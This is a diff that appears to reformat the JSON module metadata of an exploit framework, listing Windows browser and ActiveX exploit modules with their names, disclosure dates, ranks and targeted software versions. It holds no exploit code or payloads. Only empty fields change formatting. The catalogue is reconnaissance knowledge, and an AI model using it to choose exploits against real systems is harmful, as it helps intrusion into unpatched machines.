"arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -148949,17 +132699,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_executerequest_dbg": { "name": "Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_executerequest_dbg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-04", "type": "exploit", @@ -148976,12 +132723,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -148992,17 +132735,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_getdriversettings": { "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_getdriversettings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-16", "type": "exploit", @@ -149018,12 +132758,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -149034,17 +132770,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_getdriversettings_2": { "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_getdriversettings_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-11-15", "type": "exploit", @@ -149064,12 +132797,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -149080,17 +132809,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_target_frame": { "name": "Novell iPrint Client ActiveX Control target-frame Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_target_frame", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-08", "type": "exploit", @@ -149107,12 +132833,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iPrint 5.30 Windows Client" ], @@ -149123,17 +132845,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ntr_activex_check_bof": { "name": "NTR ActiveX Control Check() Method Buffer Overflow", "fullname": "exploit/windows/browser/ntr_activex_check_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-11", "type": "exploit", @@ -149151,12 +132870,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149174,17 +132889,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ntr_activex_stopmodule": { "name": "NTR ActiveX Control StopModule() Remote Code Execution", "fullname": "exploit/windows/browser/ntr_activex_stopmodule", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-11", "type": "exploit", @@ -149202,12 +132914,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149221,17 +132929,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/oracle_autovue_setmarkupmode": { "name": "Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow", "fullname": "exploit/windows/browser/oracle_autovue_setmarkupmode", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-18", "type": "exploit", @@ -149251,12 +132956,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149271,17 +132972,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/oracle_dc_submittoexpress": { "name": "Oracle Document Capture 10g ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/oracle_dc_submittoexpress", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-28", "type": "exploit", @@ -149298,12 +132996,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -149314,17 +133008,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/oracle_webcenter_checkoutandopen": { "name": "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/oracle_webcenter_checkoutandopen", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-16", "type": "exploit", @@ -149343,12 +133034,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -149359,17 +133046,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/orbit_connecting": { "name": "Orbit Downloader Connecting Log Creation Buffer Overflow", "fullname": "exploit/windows/browser/orbit_connecting", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-03", "type": "exploit", @@ -149385,12 +133069,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-SP2" ], @@ -149401,17 +133081,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ovftool_format_string": { "name": "VMWare OVF Tools Format String Vulnerability", "fullname": "exploit/windows/browser/ovftool_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-08", "type": "exploit", @@ -149429,12 +133106,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VMWare OVF Tools 2.1 on Windows XP SP3" ], @@ -149445,17 +133118,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/pcvue_func": { "name": "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability", "fullname": "exploit/windows/browser/pcvue_func", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-10-05", "type": "exploit", @@ -149474,12 +133144,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 / Internet Explorer 7" ], @@ -149490,17 +133156,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/persits_xupload_traversal": { "name": "Persits XUpload ActiveX MakeHttpRequest Directory Traversal", "fullname": "exploit/windows/browser/persits_xupload_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-29", "type": "exploit", @@ -149515,12 +133178,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -149531,17 +133190,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/quickr_qp2_bof": { "name": "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/quickr_qp2_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-23", "type": "exploit", @@ -149560,12 +133216,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149583,17 +133235,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/real_arcade_installerdlg": { "name": "Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution", "fullname": "exploit/windows/browser/real_arcade_installerdlg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-03", "type": "exploit", @@ -149609,12 +133258,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -149625,17 +133270,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/realplayer_cdda_uri": { "name": "RealNetworks RealPlayer CDDA URI Initialization Vulnerability", "fullname": "exploit/windows/browser/realplayer_cdda_uri", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-11-15", "type": "exploit", @@ -149654,12 +133296,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RealPlayer SP 1.0 - 1.1.4 Universal", "RealPlayer 11.0 - 11.1 Universal" @@ -149671,17 +133309,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/realplayer_console": { "name": "RealPlayer rmoc3260.dll ActiveX Control Heap Corruption", "fullname": "exploit/windows/browser/realplayer_console", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-08", "type": "exploit", @@ -149698,12 +133333,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English" ], @@ -149714,17 +133345,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/realplayer_import": { "name": "RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow", "fullname": "exploit/windows/browser/realplayer_import", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-18", "type": "exploit", @@ -149740,12 +133368,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE / RealOne Player 2 (6.0.11.853)", "IE / RealPlayer 10.5 (6.0.12.1483)" @@ -149757,17 +133381,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/realplayer_qcp": { "name": "RealNetworks Realplayer QCP Parsing Heap Overflow", "fullname": "exploit/windows/browser/realplayer_qcp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-08-16", "type": "exploit", @@ -149786,12 +133407,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", @@ -149804,17 +133421,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/realplayer_smil": { "name": "RealNetworks RealPlayer SMIL Buffer Overflow", "fullname": "exploit/windows/browser/realplayer_smil", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-03-01", "type": "exploit", @@ -149830,12 +133444,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RealPlayer 10/8 on Windows 2000 SP0-SP4 English", "RealPlayer 10/8 on Windows XP PRO SP0-SP1 English" @@ -149847,17 +133457,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/roxio_cineplayer": { "name": "Roxio CinePlayer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/roxio_cineplayer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-04-11", "type": "exploit", @@ -149873,12 +133480,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], @@ -149889,17 +133492,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/safari_xslt_output": { "name": "Apple Safari Webkit libxslt Arbitrary File Creation", "fullname": "exploit/windows/browser/safari_xslt_output", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-20", "type": "exploit", @@ -149915,12 +133515,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -149931,17 +133527,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/samsung_neti_wiewer_backuptoavi_bof": { "name": "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow", "fullname": "exploit/windows/browser/samsung_neti_wiewer_backuptoavi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-21", "type": "exploit", @@ -149959,12 +133552,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149977,17 +133566,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/samsung_security_manager_put": { "name": "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", "fullname": "exploit/windows/browser/samsung_security_manager_put", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-05", "type": "exploit", @@ -150002,12 +133588,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Samsung Security Manager 1.32 & 1.4 Universal" ], @@ -150018,17 +133600,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/sapgui_saveviewtosessionfile": { "name": "SAP AG SAPgui EAI WebViewer3D Buffer Overflow", "fullname": "exploit/windows/browser/sapgui_saveviewtosessionfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-31", "type": "exploit", @@ -150044,12 +133623,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -150060,17 +133635,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/siemens_solid_edge_selistctrlx": { "name": "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/siemens_solid_edge_selistctrlx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-26", "type": "exploit", @@ -150086,12 +133658,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -150109,17 +133677,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/softartisans_getdrivename": { "name": "SoftArtisans XFile FileManager ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/softartisans_getdrivename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-25", "type": "exploit", @@ -150136,12 +133701,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -150152,17 +133713,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/sonicwall_addrouteentry": { "name": "SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/sonicwall_addrouteentry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-01", "type": "exploit", @@ -150178,12 +133736,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 6 / Windows XP SP2 Pro English" ], @@ -150194,17 +133748,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/symantec_altirisdeployment_downloadandinstall": { "name": "Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/symantec_altirisdeployment_downloadandinstall", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-09", "type": "exploit", @@ -150220,12 +133771,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -150236,17 +133783,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/symantec_altirisdeployment_runcmd": { "name": "Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_altirisdeployment_runcmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-04", "type": "exploit", @@ -150262,12 +133806,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -150278,17 +133818,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/symantec_appstream_unsafe": { "name": "Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/symantec_appstream_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-01-15", "type": "exploit", @@ -150303,12 +133840,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -150319,17 +133852,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/symantec_backupexec_pvcalendar": { "name": "Symantec BackupExec Calendar Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_backupexec_pvcalendar", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-28", "type": "exploit", @@ -150346,12 +133876,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English" ], @@ -150362,17 +133888,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/symantec_consoleutilities_browseandsavefile": { "name": "Symantec ConsoleUtilities ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_consoleutilities_browseandsavefile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-02", "type": "exploit", @@ -150390,12 +133913,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "Windows XP SP2 Universal", @@ -150409,17 +133928,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/synactis_connecttosynactis_bof": { "name": "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", "fullname": "exploit/windows/browser/synactis_connecttosynactis_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-30", "type": "exploit", @@ -150435,12 +133951,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", @@ -150453,17 +133965,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/systemrequirementslab_unsafe": { "name": "Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method", "fullname": "exploit/windows/browser/systemrequirementslab_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-10-16", "type": "exploit", @@ -150479,12 +133988,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -150495,17 +134000,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/teechart_pro": { "name": "TeeChart Professional ActiveX Control Trusted Integer Dereference", "fullname": "exploit/windows/browser/teechart_pro", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-11", "type": "exploit", @@ -150521,12 +134023,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP0-SP3 (IE6/IE7)", @@ -150540,17 +134038,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/tom_sawyer_tsgetx71ex552": { "name": "Tom Sawyer Software GET Extension Factory Remote Code Execution", "fullname": "exploit/windows/browser/tom_sawyer_tsgetx71ex552", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-03", "type": "exploit", @@ -150569,12 +134064,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -150589,17 +134080,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/trendmicro_extsetowner": { "name": "Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution", "fullname": "exploit/windows/browser/trendmicro_extsetowner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-25", "type": "exploit", @@ -150616,12 +134104,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -150632,17 +134116,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/trendmicro_officescan": { "name": "Trend Micro OfficeScan Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/trendmicro_officescan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-02-12", "type": "exploit", @@ -150658,12 +134139,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English" ], @@ -150674,17 +134151,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/tumbleweed_filetransfer": { "name": "Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/tumbleweed_filetransfer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-04-07", "type": "exploit", @@ -150700,12 +134174,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal vcst_eu.dll", "Windows 2000 Pro English", @@ -150718,17 +134188,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ubisoft_uplay_cmd_exec": { "name": "Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution", "fullname": "exploit/windows/browser/ubisoft_uplay_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-29", "type": "exploit", @@ -150748,12 +134215,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -150764,17 +134227,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ultramjcam_openfiledig_bof": { "name": "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", "fullname": "exploit/windows/browser/ultramjcam_openfiledig_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-28", "type": "exploit", @@ -150791,12 +134251,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -150810,17 +134266,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ultraoffice_httpupload": { "name": "Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow", "fullname": "exploit/windows/browser/ultraoffice_httpupload", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-08-27", "type": "exploit", @@ -150838,12 +134291,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -150854,17 +134303,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/verypdf_pdfview": { "name": "VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow", "fullname": "exploit/windows/browser/verypdf_pdfview", - "aliases": [ - 